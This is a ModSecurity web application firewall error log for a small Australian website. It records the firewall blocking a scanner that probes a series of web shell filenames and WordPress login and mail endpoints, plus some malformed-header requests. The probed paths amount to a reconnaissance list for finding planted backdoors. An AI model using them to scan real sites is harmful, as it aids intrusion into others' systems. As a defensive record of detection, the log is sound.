[Tue Dec 23 04:48:49.971141 2025] [:error] [pid 49150:tid 49174] [client 40.83.90.200:9156] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aUmusUuL91O4jNPzb4FWIQAAANY"]
[Tue Dec 23 04:48:53.145910 2025] [:error] [pid 49150:tid 49165] [client 40.83.90.200:15350] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aUmutUuL91O4jNPzb4FWLQAAAM0"]
[Tue Dec 23 04:48:58.930731 2025] [:error] [pid 49062:tid 49124] [client 40.83.90.200:15297] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUmuuv_oMXBKdV37va2TcAAAAIU"]
[Tue Dec 23 08:33:52.799793 2025] [:error] [pid 49150:tid 49176] [client 43.156.228.27:36022] [client 43.156.228.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUnjcEuL91O4jNPzb4Hl3gAAANg"]
[Tue Dec 23 14:00:00.675423 2025] [:error] [pid 3406:tid 3480] [client 182.42.105.85:45672] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUov4Pn8DLWxW7TPzpFrdQAAAFA"]
[Tue Dec 23 20:26:40.870204 2025] [:error] [pid 3497:tid 3508] [client 20.196.109.137:13306] [client 20.196.109.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.109.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUqKgOzUE6hZ8LJecSsTvgAAAMg"]
[Tue Dec 23 20:26:42.513695 2025] [:error] [pid 3497:tid 3514] [client 20.196.109.137:13306] [client 20.196.109.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.109.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUqKguzUE6hZ8LJecSsTwgAAAM4"]
[Tue Dec 23 20:26:55.475012 2025] [:error] [pid 3405:tid 3452] [client 125.75.66.97:36313] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUqKj7dHHpIDpQ39rwk-igAAAA8"]
[Tue Dec 23 20:27:08.808576 2025] [:error] [pid 54408:tid 54425] [client 20.196.109.137:13188] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aUqKnGup4YbWx_MWvp1VxQAAAo4"]
[Tue Dec 23 20:27:09.976857 2025] [:error] [pid 3406:tid 3488] [client 20.196.109.137:13299] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aUqKnfn8DLWxW7TPzpHk9wAAAFg"]
[Tue Dec 23 20:27:11.947666 2025] [:error] [pid 54375:tid 54377] [client 20.196.109.137:13303] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aUqKn51Yro3O5R2WY-BuxAAAAkA"]
[Tue Dec 23 20:27:13.247996 2025] [:error] [pid 3497:tid 3513] [client 20.196.109.137:13300] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aUqKoezUE6hZ8LJecSsT4QAAAM0"]
[Tue Dec 23 20:27:14.567001 2025] [:error] [pid 3497:tid 3508] [client 20.196.109.137:13285] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aUqKouzUE6hZ8LJecSsT5QAAAMg"]
[Tue Dec 23 20:27:15.497782 2025] [:error] [pid 3497:tid 3514] [client 20.196.109.137:13294] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aUqKo-zUE6hZ8LJecSsT6QAAAM4"]
[Tue Dec 23 20:27:17.875639 2025] [:error] [pid 3405:tid 3446] [client 20.196.109.137:13187] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aUqKpbdHHpIDpQ39rwk-pwAAAAk"]
[Tue Dec 23 20:27:18.449757 2025] [:error] [pid 3405:tid 3460] [client 20.196.109.137:13270] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aUqKprdHHpIDpQ39rwk-qgAAABc"]
[Tue Dec 23 20:27:19.009061 2025] [:error] [pid 54408:tid 54433] [client 20.196.109.137:13298] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aUqKp2up4YbWx_MWvp1V0AAAApY"]
[Tue Dec 23 20:27:19.735317 2025] [:error] [pid 3497:tid 3518] [client 20.196.109.137:13301] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aUqKp-zUE6hZ8LJecSsT7AAAANI"]
[Tue Dec 23 20:27:20.209795 2025] [:error] [pid 25976:tid 25980] [client 20.196.109.137:13265] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aUqKqLF6LaWzQScE-xN9HAAAAQI"]
[Tue Dec 23 20:27:21.117202 2025] [:error] [pid 3406:tid 3488] [client 20.196.109.137:13256] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aUqKqfn8DLWxW7TPzpHk_gAAAFg"]
[Tue Dec 23 20:27:21.474801 2025] [:error] [pid 54340:tid 54345] [client 20.196.109.137:13293] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUqKqZye8-oij4iGhognegAAAgM"]
[Tue Dec 23 20:27:21.998190 2025] [:error] [pid 25976:tid 26000] [client 20.196.109.137:13185] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUqKqbF6LaWzQScE-xN9HQAAARY"]
[Tue Dec 23 20:27:22.429268 2025] [:error] [pid 3405:tid 3440] [client 20.196.109.137:13302] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUqKqrdHHpIDpQ39rwk-rgAAAAM"]
[Tue Dec 23 20:27:23.434674 2025] [:error] [pid 3497:tid 3508] [client 20.196.109.137:13248] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUqKq-zUE6hZ8LJecSsT7wAAAMg"]
[Tue Dec 23 20:27:24.060232 2025] [:error] [pid 25976:tid 25996] [client 20.196.109.137:13194] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUqKrLF6LaWzQScE-xN9IAAAARI"]
[Tue Dec 23 20:27:24.591528 2025] [:error] [pid 3405:tid 3451] [client 20.196.109.137:13249] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUqKrLdHHpIDpQ39rwk-sgAAAA4"]
[Tue Dec 23 20:27:25.112200 2025] [:error] [pid 54375:tid 54389] [client 20.196.109.137:13309] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUqKrZ1Yro3O5R2WY-BuywAAAkw"]
[Tue Dec 23 20:27:26.013094 2025] [:error] [pid 54375:tid 54401] [client 20.196.109.137:13284] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUqKrp1Yro3O5R2WY-BuzQAAAlg"]
[Tue Dec 23 20:27:27.039999 2025] [:error] [pid 25976:tid 25990] [client 20.196.109.137:13260] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUqKr7F6LaWzQScE-xN9JQAAAQw"]
[Tue Dec 23 20:27:27.830727 2025] [:error] [pid 54297:tid 54305] [client 20.196.109.137:13250] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUqKr0ZMNime0caoKPKh2AAAAYQ"]
[Tue Dec 23 20:27:28.696971 2025] [:error] [pid 54297:tid 54319] [client 20.196.109.137:13184] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUqKsEZMNime0caoKPKh2gAAAZI"]
[Tue Dec 23 20:27:29.750691 2025] [:error] [pid 3497:tid 3502] [client 20.196.109.137:13246] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUqKsezUE6hZ8LJecSsT9AAAAMI"]
[Tue Dec 23 20:27:31.067874 2025] [:error] [pid 11812:tid 11827] [client 20.196.109.137:13129] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUqKs7BkIQ4nTXm4A3UaqgAAAI0"]
[Tue Dec 23 20:27:31.671714 2025] [:error] [pid 54375:tid 54380] [client 20.196.109.137:13261] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUqKs51Yro3O5R2WY-Bu0QAAAkM"]
[Tue Dec 23 20:27:32.726637 2025] [:error] [pid 11812:tid 11832] [client 20.196.109.137:13308] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUqKtLBkIQ4nTXm4A3UarwAAAJI"]
[Tue Dec 23 20:27:33.618735 2025] [:error] [pid 11812:tid 11815] [client 20.196.109.137:13274] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUqKtbBkIQ4nTXm4A3UaswAAAIE"]
[Tue Dec 23 20:27:34.340462 2025] [:error] [pid 25976:tid 25979] [client 20.196.109.137:13201] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUqKtrF6LaWzQScE-xN9KQAAAQE"]
[Tue Dec 23 20:27:35.138243 2025] [:error] [pid 11812:tid 11831] [client 20.196.109.137:13202] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUqKt7BkIQ4nTXm4A3UatQAAAJE"]
[Tue Dec 23 20:27:36.143498 2025] [:error] [pid 3404:tid 3420] [client 20.196.109.137:13251] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUqKuMJGbPWZNlrhVJdUdwAAAcs"]
[Tue Dec 23 20:27:36.602357 2025] [:error] [pid 3404:tid 3412] [client 20.196.109.137:13189] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUqKuMJGbPWZNlrhVJdUeAAAAcM"]
[Tue Dec 23 20:27:37.108190 2025] [:error] [pid 3497:tid 3516] [client 20.196.109.137:13127] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUqKuezUE6hZ8LJecSsT_QAAANA"]
[Tue Dec 23 20:27:38.019443 2025] [:error] [pid 54375:tid 54386] [client 20.196.109.137:13258] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUqKup1Yro3O5R2WY-Bu1gAAAkk"]
[Tue Dec 23 20:27:38.755955 2025] [:error] [pid 54340:tid 54342] [client 20.196.109.137:13198] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUqKupye8-oij4iGhognfgAAAgA"]
[Tue Dec 23 20:27:39.766961 2025] [:error] [pid 3405:tid 3457] [client 20.196.109.137:13204] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUqKu7dHHpIDpQ39rwk-ugAAABQ"]
[Tue Dec 23 20:27:40.528357 2025] [:error] [pid 3405:tid 3447] [client 20.196.109.137:13288] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUqKvLdHHpIDpQ39rwk-vgAAAAo"]
[Tue Dec 23 20:27:41.185281 2025] [:error] [pid 54408:tid 54415] [client 20.196.109.137:13191] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUqKvWup4YbWx_MWvp1V1gAAAoQ"]
[Tue Dec 23 20:27:42.465530 2025] [:error] [pid 3497:tid 3521] [client 20.196.109.137:13292] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUqKvuzUE6hZ8LJecSsUBQAAANU"]
[Tue Dec 23 20:27:43.470973 2025] [:error] [pid 54408:tid 54433] [client 20.196.109.137:13125] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUqKv2up4YbWx_MWvp1V2QAAApY"]
[Tue Dec 23 20:27:46.854836 2025] [:error] [pid 3404:tid 3431] [client 20.196.109.137:13235] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUqKwsJGbPWZNlrhVJdUfQAAAdY"]
[Tue Dec 23 20:27:48.597272 2025] [:error] [pid 11812:tid 11820] [client 20.196.109.137:13200] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUqKxLBkIQ4nTXm4A3UavgAAAIY"]
[Tue Dec 23 20:27:49.726164 2025] [:error] [pid 54340:tid 54345] [client 20.196.109.137:13263] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUqKxZye8-oij4iGhogngwAAAgM"]
[Tue Dec 23 20:27:50.520189 2025] [:error] [pid 54340:tid 54347] [client 20.196.109.137:13195] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUqKxpye8-oij4iGhognhAAAAgU"]
[Tue Dec 23 20:27:52.425824 2025] [:error] [pid 54375:tid 54400] [client 20.196.109.137:13281] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aUqKyJ1Yro3O5R2WY-Bu2QAAAlc"]
[Tue Dec 23 20:27:54.824847 2025] [:error] [pid 11812:tid 11815] [client 20.196.109.137:13280] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aUqKyrBkIQ4nTXm4A3UaxwAAAIE"]
[Tue Dec 23 20:27:59.677852 2025] [:error] [pid 3497:tid 3502] [client 20.196.109.137:13262] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aUqKz-zUE6hZ8LJecSsUGQAAAMI"]
